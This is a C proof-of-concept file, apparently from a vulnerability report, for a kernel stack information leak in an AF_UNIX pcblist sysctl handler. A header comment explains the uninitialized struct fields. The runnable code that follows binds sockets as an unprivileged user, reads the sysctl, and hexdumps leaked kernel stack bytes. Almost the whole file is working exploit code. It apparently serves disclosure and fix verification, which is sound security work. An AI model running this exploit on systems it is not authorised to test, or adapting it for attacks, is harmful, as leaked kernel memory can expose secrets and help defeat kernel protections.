DF-2558 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 | /* * DF-2558 - Kernel stack info leak via the AF_UNIX pcblist sysctl handler * (unp_pcblist in sys/kern/uipc_usrreq.c). * * Root cause * ---------- * In sys/kern/uipc_usrreq.c the unp_pcblist() sysctl handler walks every * AF_UNIX PCB and, for each one, declares * * struct xunpcb xu; // <-- ON THE STACK, NO INITIALIZER (line 1465) * * then only writes: * - xu.xu_len = sizeof(xu) (8 B) * - xu.xu_unpp = unp (8 B) * - bcopy(unp_addr, &xu.xu_addr, sun_len) (<= ~106 B of a 256-B union) * - bcopy(conn_addr, &xu.xu_caddr, conn_sun_len) (<= ~106 B of a 256-B union) * - bcopy(unp, &xu.xu_unp, sizeof *unp) (full) * - sotoxsocket(so, &xu.xu_socket) (full) * * The trailing bytes of the two 256-byte unions (xu_au / xu_cau) PAST the * copied sun_len, plus the 8-byte xu_alignment_hack trailer (which is NEVER * written), stay as raw uninitialized kernel stack. SYSCTL_OUT(req,&xu,sizeof x * u) then copies the whole 912-byte struct verbatim to userspace. * * For an unconnected bound socket: xu_caddr is entirely uninitialized (256 B) * and xu_addr has 256-sun_len uninitialized bytes; xu_alignment_hack is always * 8 B of pure stack residue. * * The pcblist sysctl nodes are CTLFLAG_RD with no privilege check, so any * unprivileged local user can read them. * * This PoC: * 1. Creates N bound AF_UNIX SOCK_DGRAM sockets (no connect) so the dgram * pcblist contains records whose xu_caddr / xu_alignment_hack are pure * uninitialized stack. * 2. Reads net.local.dgram.pcblist via sysctl(2) (sysctlnametomib + sysctl). * 3. Walks each 912-byte xunpcb record and counts non-zero bytes in the * three leak regions: * - xu_addr tail [sun_len .. 256) * - xu_caddr (entire 256 B when nothing was copied, i.e. no peer) * - xu_alignment_hack (always 8 B of pure residue) * 4. Reports per-sample and total counts. If any record carries non-zero * bytes in those regions, the leak is CONFIRMED. * * Build: cc -O2 -o poc poc.c * Run: ./poc [niter] (unprivileged; default niter=3) */ #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <sys/socketvar.h> #include <sys/un.h> #include <sys/unpcb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stddef.h> #include <unistd.h> #include <errno.h> #define NSOCKS 8 /* bound dgram sockets to plant in the list */ #define RECSIZE ((int)sizeof(struct xunpcb)) #define SUNPATHSZ (sizeof(((struct sockaddr_un *)0)->sun_path)) static void hexdump(const char *label, const unsigned char *p, int n) { int i; printf(" %-28s (%d B): ", label, n); for (i = 0; i < n; i++) { printf("%02x", p[i]); if ((i & 0x3) == 0x3) printf(" "); if ((i & 0x1f) == 0x1f && i + 1 < n) printf("\n %-28s ", ""); } printf("\n"); } int main(int argc, char **argv) { const char *oid = "net.local.dgram.pcblist"; int niter = 3; int mib[CTL_MAXNAME]; size_t miblen = CTL_MAXNAME; int sv[NSOCKS]; char path[NSOCKS][SUNPATHSZ]; int i, iter, r, total_leak = 0, total_max = 0, total_recs = 0; if (argc > 1) niter = atoi(argv[1]); /* plant N bound AF_UNIX dgram sockets (no connect) */ for (i = 0; i < NSOCKS; i++) { struct sockaddr_un un; if ((sv[i] = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) { perror("socket"); return 2; } snprintf(path[i], sizeof(path[i]), "/tmp/df2558_%d_%d", getpid(), i); unlink(path[i]); memset(&un, 0, sizeof(un)); un.sun_family = AF_UNIX; strncpy(un.sun_path, path[i], sizeof(un.sun_path) - 1); /* set sun_len explicitly */ un.sun_len = (unsigned char)(SUN_LEN(&un)); if (bind(sv[i], (struct sockaddr *)&un, SUN_LEN(&un)) < 0) { perror("bind"); return 2; } } { struct sockaddr_un u; memset(&u, 0, sizeof u); u.sun_family = AF_UNIX; strncpy(u.sun_path, "/tmp/df2558_0_0", sizeof(u.sun_path)-1); u.sun_len = (unsigned char)SUN_LEN(&u); printf("[*] planted %d bound AF_UNIX SOCK_DGRAM sockets (sun_len~%u, sizeof(xunpcb)=%zu)\n", NSOCKS, u.sun_len, (size_t)RECSIZE); } if (sysctlnametomib(oid, mib, &miblen) < 0) { perror("sysctlnametomib"); return 2; } printf("[*] oid %s -> miblen=%zu\n", oid, miblen); /* field offsets inside struct xunpcb (verified at compile time via offsetof) */ size_t off_au = offsetof(struct xunpcb, xu_au); /* xu_addr union (256) */ size_t off_cau = offsetof(struct xunpcb, xu_cau); /* xu_caddr union (256) */ size_t off_ah = offsetof(struct xunpcb, xu_alignment_hack);/* 8 B trailer */ size_t len_au = sizeof(((struct xunpcb *)0)->xu_au); size_t len_cau = sizeof(((struct xunpcb *)0)->xu_cau); size_t len_ah = sizeof(((struct xunpcb *)0)->xu_alignment_hack); printf("[*] off_au=%zu len_au=%zu off_cau=%zu len_cau=%zu off_ah=%zu len_ah=%zu\n", off_au, len_au, off_cau, len_cau, off_ah, len_ah); for (iter = 0; iter < niter; iter++) { size_t need = 0; if (sysctl(mib, miblen, NULL, &need, NULL, 0) < 0) { perror("sysctl probe"); return 2; } if (need == 0) { printf("\n=== iter %d: sysctl reports 0 bytes (no records?) ===\n", iter); continue; } unsigned char *buf = malloc(need); if (!buf) { perror("malloc"); return 2; } size_t got = need; if (sysctl(mib, miblen, buf, &got, NULL, 0) < 0) { perror("sysctl read"); free(buf); return 2; } int nrec = (int)(got / RECSIZE); printf("\n=== iter %d: %zu bytes / %d records (recsize=%d) ===\n", iter, got, nrec, RECSIZE); int iter_leak = 0, iter_max = 0; int shown = 0; for (r = 0; r < nrec; r++) { struct xunpcb *xu = (struct xunpcb *)(buf + r * RECSIZE); if (xu->xu_len != RECSIZE) continue; /* skip malformed */ /* xu_addr union: bytes [sun_len .. 256) are uninitialized stack. * sun_len is the first byte of the union (sockaddr_un). */ unsigned char alen = buf[r * RECSIZE + off_au]; /* xu_addr.sun_len */ size_t a_lo = off_au + alen; size_t a_hi = off_au + len_au; /* xu_caddr union: if nothing was copied (no peer addr) the whole * 256 B are residue. Detect "copied" by a plausible sun_len in * [1..106]; otherwise treat the entire union as residue. */ unsigned char clen = buf[r * RECSIZE + off_cau]; /* xu_caddr.sun_len */ size_t c_lo, c_hi; if (clen >= 1 && clen <= sizeof(struct sockaddr_un) && clen <= len_cau) { c_lo = off_cau + clen; } else { c_lo = off_cau; /* nothing copied -> all residue */ } c_hi = off_cau + len_cau; /* xu_alignment_hack: always 8 B of pure residue (never written). */ size_t h_lo = off_ah; size_t h_hi = off_ah + len_ah; int nz_a = 0, nz_c = 0, nz_h = 0; for (i = (int)a_lo; i < (int)a_hi; i++) if (buf[r*RECSIZE+i]) nz_a++; for (i = (int)c_lo; i < (int)c_hi; i++) if (buf[r*RECSIZE+i]) nz_c++; for (i = (int)h_lo; i < (int)h_hi; i++) if (buf[r*RECSIZE+i]) nz_h++; int max = (int)((a_hi - a_lo) + (c_hi - c_lo) + (h_hi - h_lo)); int got_ = nz_a + nz_c + nz_h; iter_leak += got_; iter_max += max; total_recs++; if (got_ > 0 && shown < 2) { printf(" rec %d (xu_unpp=%p sun_path=\"%s\"):\n", r, (void *)xu->xu_unpp, (char *)buf + r*RECSIZE + off_au + offsetof(struct sockaddr_un, sun_path)); printf(" xu_addr.sun_len=%u -> tail[%zu..%zu) non-zero=%d\n", alen, a_lo, a_hi, nz_a); hexdump("xu_addr tail", buf + r*RECSIZE + a_lo, (int)(a_hi - a_lo)); printf(" xu_caddr.sun_len=%u -> leak[%zu..%zu) non-zero=%d\n", clen, c_lo, c_hi, nz_c); hexdump("xu_caddr leak", buf + r*RECSIZE + c_lo, (int)(c_hi - c_lo)); printf(" xu_alignment_hack -> [%zu..%zu) non-zero=%d\n", h_lo, h_hi, nz_h); hexdump("xu_alignment_hack", buf + r*RECSIZE + h_lo, (int)(h_hi - h_lo)); printf(" >>> rec %d leaked = %d / %d possible\n", r, got_, max); shown++; } else if (got_ > 0) { printf(" rec %d leaked = %d / %d possible (al=%u cl=%u)\n", r, got_, max, alen, clen); } else { printf(" rec %d leaked = 0 / %d (clean) (al=%u cl=%u)\n", r, max, alen, clen); } } printf(" --- iter %d subtotal: %d leaked non-zero bytes / %d possible ---\n", iter, iter_leak, iter_max); total_leak += iter_leak; total_max += iter_max; free(buf); } /* cleanup */ for (i = 0; i < NSOCKS; i++) { close(sv[i]); unlink(path[i]); } printf("\n==== SUMMARY over %d iters, %d records: %d leaked non-zero bytes (of %d possible) ====\n", niter, total_recs, total_leak, total_max); if (total_leak > 0) { printf("result: LEAK CONFIRMED (kernel-stack residue in xunpcb via pcblist sysctl)\n"); return 0; } else { printf("result: NO LEAK (xunpcb trailing bytes all zero - bug not present / fixed)\n"); return 1; } } |